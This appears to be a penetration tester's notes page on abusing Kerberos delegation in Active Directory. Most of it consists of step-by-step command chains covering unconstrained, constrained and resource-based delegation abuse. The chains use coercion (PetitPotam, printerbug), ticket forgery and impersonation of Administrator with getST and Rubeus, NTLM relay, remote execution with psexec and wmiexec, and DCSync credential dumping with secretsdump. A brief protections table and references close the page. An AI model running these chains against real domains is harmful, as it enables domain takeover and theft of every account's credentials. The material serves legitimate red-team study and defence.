> ## Documentation Index
> Fetch the complete documentation index at: https://notes.chaelsoo.me/llms.txt
> Use this file to discover all available pages before exploring further.

# Kerberos Delegation

Delegation solves the **double-hop problem**: when a user authenticates to Service A via Kerberos, Service A cannot forward that Kerberos identity to Service B on its own. The TGT never left the client. Delegation was designed to fix this, and each type has a different trust model and attack surface.

## S4U Extensions

Two Kerberos extensions underpin all constrained delegation abuse:

<Frame caption="S4U2Self and S4U2Proxy flow: how a service obtains a forwardable ticket on behalf of a user and uses it to access a third service">
  <img src="https://mintcdn.com/grimoire/xHjOH7ds3KraSL2u/images/active-directory/delegation/s4u-flow.png?fit=max&auto=format&n=xHjOH7ds3KraSL2u&q=85&s=c184b7149d1d462404c3ab8e2dccaeb6" alt="S4U2Self and S4U2Proxy authentication flow diagram" width="533" height="403" data-path="images/active-directory/delegation/s4u-flow.png" />
</Frame>

**S4U2Self (Service-for-User-to-Self):** Allows a service to request a forwardable service ticket to itself on behalf of any user, without that user's password or prior authentication. Requires the account to have an SPN and `TRUSTED_TO_AUTH_FOR_DELEGATION` set.

```
KANYO$ → KDC: "give me a service ticket for KANYO$ as Administrator"
KDC    → checks TRUSTED_TO_AUTH_FOR_DELEGATION on KANYO$
KDC    → issues ticket: "Administrator authenticated to KANYO$"
```

**S4U2Proxy (Service-for-User-to-Proxy):** Allows a service to use a forwardable TGS (from S4U2Self or a real user auth) to request a ticket to a third service. On classic constrained delegation, the KDC validates the target SPN against `msDS-AllowedToDelegateTo`. On RBCD, it validates the source against `msDS-AllowedToActOnBehalfOfOtherIdentity` on the target.

```
KANYO$ → KDC: "use this ticket to get cifs/DC1 as Administrator"
KDC    → checks msDS-AllowedToDelegateTo → sees cifs/DC1 is allowed
KDC    → issues: "Administrator's ticket for cifs/DC1"
```

<Frame caption="How unconstrained and constrained delegation appear in Active Directory Users and Computers (Delegation tab)">
  <img src="https://mintcdn.com/grimoire/PdjMln43pt5Vu7we/images/active-directory/delegation/showcase-delegation.png?fit=max&auto=format&n=PdjMln43pt5Vu7we&q=85&s=6ca2443562a32e4adb86292830487b09" alt="Windows AD delegation tab showing unconstrained and constrained delegation options" width="768" height="1021" data-path="images/active-directory/delegation/showcase-delegation.png" />
</Frame>

## userAccountControl Bitmask

Every AD object has a `userAccountControl` bitmask controlling account behaviour. Delegation-relevant flags:

| Value      | Flag                             | Meaning                                                           |
| ---------- | -------------------------------- | ----------------------------------------------------------------- |
| `512`      | `NORMAL_ACCOUNT`                 | Standard user account                                             |
| `4096`     | `WORKSTATION_TRUST_ACCOUNT`      | Machine account                                                   |
| `524288`   | `TRUSTED_FOR_DELEGATION`         | Unconstrained delegation enabled                                  |
| `528384`   | `4096 + 524288`                  | Machine account with unconstrained delegation                     |
| `16777216` | `TRUSTED_TO_AUTH_FOR_DELEGATION` | Protocol transition (T2A4D)                                       |
| `16781312` | `4096 + 16777216`                | Machine account with protocol transition (constrained delegation) |

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Set unconstrained delegation on a machine account you control
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  set object '$COMP_NAME' userAccountControl -v 528384

# Set constrained delegation (protocol transition) on a machine account
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  set object '$COMP_NAME' userAccountControl -v 16781312
```

### SeEnableDelegationPrivilege

Normally only Domain Admins can set delegation flags. This privilege grants that ability to non-admin accounts. If a low-priv user has it, they can configure delegation on any account they control without DA — then immediately exploit it.

```
N.Thompson has SeEnableDelegationPrivilege
  → Sets msDS-AllowedToDelegateTo = [cifs/dc1.domain.local] on KANYO$
  → Sets userAccountControl = 16781312 on KANYO$ (T2A4D + workstation)
  → Runs getST.py as KANYO$ to impersonate Administrator to cifs/DC1
  → DCSync
```

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Grant KANYO$ constrained delegation to cifs/DC1
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  set object '$COMP_NAME' msDS-AllowedToDelegateTo -v "cifs/$DC_HOST"

# Enable protocol transition (T2A4D) on KANYO$ so S4U2Self works
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  set object '$COMP_NAME' userAccountControl -v 16781312

# Impersonate Administrator to cifs/DC1 in one step
getST.py -spn "cifs/$DC_HOST" -impersonate Administrator \
  -dc-ip $DC_IP "$DOMAIN/$COMP_NAME:$COMP_PASS"

export KRB5CCNAME="Administrator@cifs_$DC_HOST@${DOMAIN^^}.ccache"
secretsdump.py -k -no-pass $DC_HOST
```

***

## Unconstrained Delegation

<Frame caption="Unconstrained delegation: the KDC embeds the user's full TGT in the service ticket. Service A extracts and caches it, then can impersonate the user against anything.">
  <img src="https://mintcdn.com/grimoire/PdjMln43pt5Vu7we/images/active-directory/delegation/unconstrained.png?fit=max&auto=format&n=PdjMln43pt5Vu7we&q=85&s=f940948a5d81892ac1fee1e375f9834b" alt="Unconstrained delegation flow" width="2086" height="1462" data-path="images/active-directory/delegation/unconstrained.png" />
</Frame>

The service can impersonate the user against **any** service in the domain. Set via the `TRUSTED_FOR_DELEGATION` flag on the account. When a user authenticates to an unconstrained delegation host, the KDC embeds their full TGT in the service ticket. The host extracts and caches it in LSASS.

**Attack goal:** coerce a privileged account (usually the DC machine account) into authenticating to the compromised host, extract its TGT, then DCSync.

**Requirements:**

* Compromised account with `TRUSTED_FOR_DELEGATION` set (a computer or service account)
* Account has an SPN (machine accounts always do)
* DNS write access to register an A record for your attacker listener
* Ability to coerce outbound auth from a privileged account (PetitPotam, printerbug, etc.)

Accounts in the **Protected Users** group and accounts flagged **sensitive and cannot be delegated** have their TGTs excluded. Exception: the native Administrator (RID 500) bypasses this even if added to Protected Users.

### Enumeration

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# bloodyAD
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST msldap unconstrained

# nxc
nxc ldap $DC_IP -u $USER -p $PASSWORD --trusted-for-delegation
```

```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# PowerView (exclude DCs — they have it by default)
Get-DomainComputer -Unconstrained | Where-Object { $_.distinguishedname -notmatch 'Domain Controllers' } | Select-Object name, dnshostname
Get-DomainUser -AllowDelegation | Select-Object samaccountname
```

### Exploitation (krbrelayx)

The most reliable approach from Linux. You add an SPN to the compromised account pointing at your attacker host, register a DNS record for it, then coerce the DC to authenticate. krbrelayx captures the incoming AP-REQ and extracts the embedded TGT.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Step 1: Add an SPN to the compromised account pointing at your listener
# Salt format for computers: DOMAIN.LOCALhostfqdn.domain.local
addspn.py -u '$DOMAIN\$COMP_NAME$' -p '$COMP_PASS' \
  -s 'HOST/$LHOSTNAME.$DOMAIN' --additional $DC_HOST

# Step 2: Add a DNS A record for your attacker hostname
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  add dnsRecord '$LHOSTNAME.$DOMAIN' $LHOST

# Wait ~3 minutes for DNS propagation, then verify
nslookup $LHOSTNAME.$DOMAIN $DC_HOST

# Step 3: Start krbrelayx with the compromised account's credentials or AES key
krbrelayx.py --krbsalt '${DOMAIN^^}host$LHOSTNAME.$DOMAIN' --krbpass '$COMP_PASS'
# or with AES256 key
krbrelayx.py -aesKey $AES256_KEY

# Step 4: Coerce DC authentication
printerbug.py $DOMAIN/'$COMP_NAME$':$COMP_PASS@$DC_HOST $LHOSTNAME.$DOMAIN
PetitPotam.py -u $USER -p $PASSWORD $LHOSTNAME.$DOMAIN $DC_HOST
# If error: try coercing a different DC due to replication delays

# Step 5: Export the captured TGT and DCSync
export KRB5CCNAME=$(pwd)/DC01\$.ccache
secretsdump.py -k -no-pass $DOMAIN/'DC01$'@$DC_HOST
```

### Exploitation (Rubeus, Windows)

```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# On the unconstrained delegation host: monitor for incoming TGTs
Rubeus.exe monitor /interval:5 /nowrap

# Coerce from another session
.\Invoke-SpoolSample.ps1 $DC_HOST $COMPROMISED_HOST

# When the DC's TGT appears in Rubeus output, inject it
Rubeus.exe ptt /ticket:<base64_TGT>

# DCSync
secretsdump.py -k -no-pass $DOMAIN/'DC01$'@$DC_HOST
```

### Cleanup

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  remove dnsRecord '$LHOSTNAME.$DOMAIN' $LHOST
```

***

## Constrained Delegation

<Frame caption="Constrained delegation: Service A can only impersonate users to the specific SPNs listed in msDS-AllowedToDelegateTo. With protocol transition (T2A4D), it can also use S4U2Self to get a forwardable ticket for any user without their password.">
  <img src="https://mintcdn.com/grimoire/PdjMln43pt5Vu7we/images/active-directory/delegation/constrained.png?fit=max&auto=format&n=PdjMln43pt5Vu7we&q=85&s=b0cced28cc0e4d6b98c4f30f836a48b5" alt="Constrained delegation flow" width="2182" height="2014" data-path="images/active-directory/delegation/constrained.png" />
</Frame>

The account has `msDS-AllowedToDelegateTo` set to a specific list of SPNs it can delegate to. There are two sub-variants depending on whether **protocol transition** is enabled.

**Requirements:**

* Controlled account with `TRUSTED_TO_AUTH_FOR_DELEGATION` set — enables S4U2Self, without it the impersonation ticket cannot be generated
* `msDS-AllowedToDelegateTo` populated with a valid SPN — the SPN must be registered in AD, the KDC rejects S4U2Proxy if it can't find the target account
* Valid credentials for the delegating account (password, hash, or TGT) — needed to request the initial TGT to kick off the chain
* Without protocol transition: need a controlled SPN account to generate a forwardable ticket via RBCD first, then feed it into S4U2Proxy

### Enumeration

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST msldap constrained
nxc ldap $DC_IP -u $USER -p $PASSWORD --find-delegation
```

```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto
```

### With Protocol Transition (T2A4D flag set)

`TRUSTED_TO_AUTH_FOR_DELEGATION` is set on the account. The service can call S4U2Self to obtain a forwardable ticket for **any** user without that user authenticating first, then feed it into S4U2Proxy.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Full impersonation: S4U2Self + S4U2Proxy in one step
getST.py $DOMAIN/$SVC_ACCOUNT:$PASSWORD \
  -spn cifs/$TARGET.$DOMAIN \
  -impersonate Administrator \
  -dc-ip $DC_IP

export KRB5CCNAME="Administrator@cifs_$TARGET.${DOMAIN}@${DOMAIN^^}.ccache"
psexec.py -k -no-pass Administrator@$TARGET.$DOMAIN
secretsdump.py -k -no-pass $DOMAIN/Administrator@$TARGET.$DOMAIN
```

### Without Protocol Transition

S4U2Self cannot produce a forwardable ticket on its own. Workaround: configure RBCD from the constrained delegation account to an attacker-controlled account, use that RBCD path to get a forwardable ticket, then feed it back into S4U2Proxy.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Step 1: Set RBCD on the constrained delegation account — allow EVIL$ to delegate to it
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  add rbcd '$SVC_ACCOUNT' '$COMP_NAME'

# Step 2: Get forwardable ticket via RBCD (S4U2Self + S4U2Proxy to svcAccount)
getST.py $DOMAIN/'$COMP_NAME':$COMP_PASS \
  -spn cifs/$SVC_ACCOUNT.$DOMAIN \
  -impersonate Administrator \
  -dc-ip $DC_IP

# Step 3: Use that ticket as input to constrained delegation's S4U2Proxy
getST.py $DOMAIN/$SVC_ACCOUNT:$PASSWORD \
  -spn cifs/$TARGET.$DOMAIN \
  -impersonate Administrator \
  -additional-ticket "Administrator@cifs_$SVC_ACCOUNT.${DOMAIN}@${DOMAIN^^}.ccache" \
  -dc-ip $DC_IP

export KRB5CCNAME="Administrator@cifs_$TARGET.${DOMAIN}@${DOMAIN^^}.ccache"
psexec.py -k -no-pass Administrator@$TARGET.$DOMAIN
```

### altservice: SPN Substitution

If delegation rights exist to a low-value SPN (e.g., `time/target`), substitute it for a useful one. The KDC only checks the PAC at ticket-use time, not whether the SPN matches the allowed list.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Delegation is to: time/target.domain.local — swap it for cifs
getST.py $DOMAIN/$SVC_ACCOUNT:$PASSWORD \
  -spn time/$TARGET.$DOMAIN \
  -impersonate Administrator \
  -altservice cifs \
  -dc-ip $DC_IP

export KRB5CCNAME="Administrator@cifs_$TARGET.${DOMAIN}@${DOMAIN^^}.ccache"
smbexec.py -k -no-pass Administrator@$TARGET.$DOMAIN
```

***

## RBCD (Resource-Based Constrained Delegation)

<Frame caption="RBCD inverts the trust model: the target resource controls who can delegate to it via msDS-AllowedToActOnBehalfOfOtherIdentity. No Domain Admin needed to configure it — write access on the target object is enough.">
  <img src="https://mintcdn.com/grimoire/PdjMln43pt5Vu7we/images/active-directory/delegation/rbcd.png?fit=max&auto=format&n=PdjMln43pt5Vu7we&q=85&s=d37ce66bfad8af3b4027772501c6e1d9" alt="RBCD flow" width="1890" height="1808" data-path="images/active-directory/delegation/rbcd.png" />
</Frame>

Instead of the source account controlling where it can delegate, the **target** resource defines which accounts it trusts to impersonate users to it. Set via `msDS-AllowedToActOnBehalfOfOtherIdentity` on the target. Requires only write access to that attribute — no Domain Admin.

**Requirements:**

* Write access on the target object's `msDS-AllowedToActOnBehalfOfOtherIdentity` (GenericAll, GenericWrite, WriteProperty, or WriteDACL)
* A controlled account with an SPN: machine account (`MachineAccountQuota > 0`) or existing user/computer with an SPN
* If `MachineAccountQuota = 0`: use an existing SPN account or the SPN-less U2U path below
* DC functional level: Windows Server 2012+

### Enumeration

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST msldap s4u2proxy
nxc ldap $DC_IP -u $USER -p $PASSWORD --find-delegation
```

### Standard Attack Chain

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Step 1: Create a machine account if MachineAccountQuota > 0
nxc ldap $DC_IP -u $USER -p $PASSWORD -M maq
addcomputer.py $DOMAIN/$USER:$PASSWORD -computer-name '$COMP_NAME' -computer-pass $COMP_PASS -dc-ip $DC_IP

# Step 2: Grant RBCD — tell TARGET$ to trust COMP_NAME$ to act on its behalf
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  add rbcd 'TARGET$' '$COMP_NAME'

# Verify the attribute was written
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  get object 'TARGET$' --attr msDS-AllowedToActOnBehalfOfOtherIdentity

# Step 3: S4U2Self + S4U2Proxy → get a ST impersonating Administrator to TARGET$
getST.py $DOMAIN/'$COMP_NAME':$COMP_PASS \
  -spn cifs/TARGET.$DOMAIN \
  -impersonate Administrator \
  -dc-ip $DC_IP

# Step 4: Use the ticket
export KRB5CCNAME="Administrator@cifs_TARGET.${DOMAIN}@${DOMAIN^^}.ccache"
psexec.py -k -no-pass Administrator@TARGET.$DOMAIN
wmiexec.py -k -no-pass Administrator@TARGET.$DOMAIN
secretsdump.py -k -no-pass $DOMAIN/Administrator@TARGET.$DOMAIN

# Step 5: Clean up
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  remove rbcd 'TARGET$' '$COMP_NAME'
```

### SPN-less User (MachineAccountQuota = 0)

When you can't create a machine account and have no existing SPN account, use a sacrificial user account via U2U (User-to-User authentication). This overwrites the account's NT hash, so it becomes unusable for normal auth afterwards — restore it immediately.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Step 1: Get a TGT for the sacrificial user via overpass-the-hash
getTGT.py $DOMAIN/$SPN_LESS_USER -hashes :$(pypykatz crypto nt '$PASSWORD') -dc-ip $DC_IP
export KRB5CCNAME=$(pwd)/$SPN_LESS_USER.ccache

# Step 2: Extract the TGT session key
describeTicket.py $SPN_LESS_USER.ccache | grep 'Ticket Session Key'

# Step 3: Overwrite the user's NT hash with the TGT session key
changepasswd.py -newhashes :$TGT_SESSION_KEY \
  $DOMAIN/$SPN_LESS_USER:$PASSWORD@$DC_HOST

# Step 4: Set RBCD from the spn-less user to TARGET$
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  add rbcd 'TARGET$' '$SPN_LESS_USER'

# Step 5: S4U2Self (U2U) + S4U2Proxy
KRB5CCNAME=$SPN_LESS_USER.ccache getST.py \
  -u2u -impersonate Administrator \
  -spn host/TARGET.$DOMAIN \
  -k -no-pass \
  $DOMAIN/$SPN_LESS_USER -dc-ip $DC_IP

# Step 6: Restore the original NT hash immediately
changepasswd.py -hashes :$TGT_SESSION_KEY -newhashes :$ORIGINAL_HASH \
  $DOMAIN/$SPN_LESS_USER@$DC_HOST

# Step 7: Use the ticket
export KRB5CCNAME="Administrator@host_TARGET.${DOMAIN}@${DOMAIN^^}.ccache"
secretsdump.py -k -no-pass $DOMAIN/Administrator@TARGET.$DOMAIN
```

### Via NTLM Relay

If you can relay an incoming NTLM auth from a privileged account, write RBCD directly during the relay without needing separate write access.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
ntlmrelayx.py -t ldap://$DC_HOST --delegate-access --escalate-user '$COMP_NAME$'
```

***

## Unconstrained vs Constrained

|                     | Unconstrained                        | Constrained                     |
| ------------------- | ------------------------------------ | ------------------------------- |
| **Approach**        | Passive: wait for coercion           | Active: request ticket yourself |
| **Coercion needed** | Yes (PetitPotam, printerbug)         | No                              |
| **Setup**           | DNS record + SPN on compromised host | `msDS-AllowedToDelegateTo`      |
| **What you get**    | Full TGT of the victim               | Forwardable service ticket      |
| **Scope**           | Any service in the domain            | Only the configured SPNs        |

***

## Protections

| Protection                                     | Effect                                                                           |
| ---------------------------------------------- | -------------------------------------------------------------------------------- |
| `Protected Users` group                        | TGT not forwarded in delegation; S4U2Self blocked (except RID 500 Administrator) |
| `Account is sensitive and cannot be delegated` | Cannot be impersonated via any delegation type                                   |
| `SeEnableDelegationPrivilege` absent           | Low-priv users cannot set delegation flags even on accounts they create          |
| KB4577252 / CVE-2020-16996                     | Patches S4U2Proxy validation bypass                                              |

## References

<CardGroup cols={2}>
  <Card title="S4U2Pwnage" icon="link" href="https://blog.harmj0y.net/activedirectory/s4u2pwnage/">
    harmj0y's deep-dive into S4U2Self and S4U2Proxy abuse, the original research behind most constrained delegation and RBCD attack chains
  </Card>

  <Card title="The Most Dangerous User Right You've Never Heard Of" icon="link" href="https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/">
    harmj0y on SeEnableDelegationPrivilege: why it matters, how to find it, and what an attacker can do with it
  </Card>

  <Card title="Kerberos Delegations - The Hacker Recipes" icon="link" href="https://www.thehacker.recipes/ad/movement/kerberos/delegations/">
    Comprehensive delegation reference covering unconstrained, constrained, and RBCD with attack chains and tooling
  </Card>
</CardGroup>
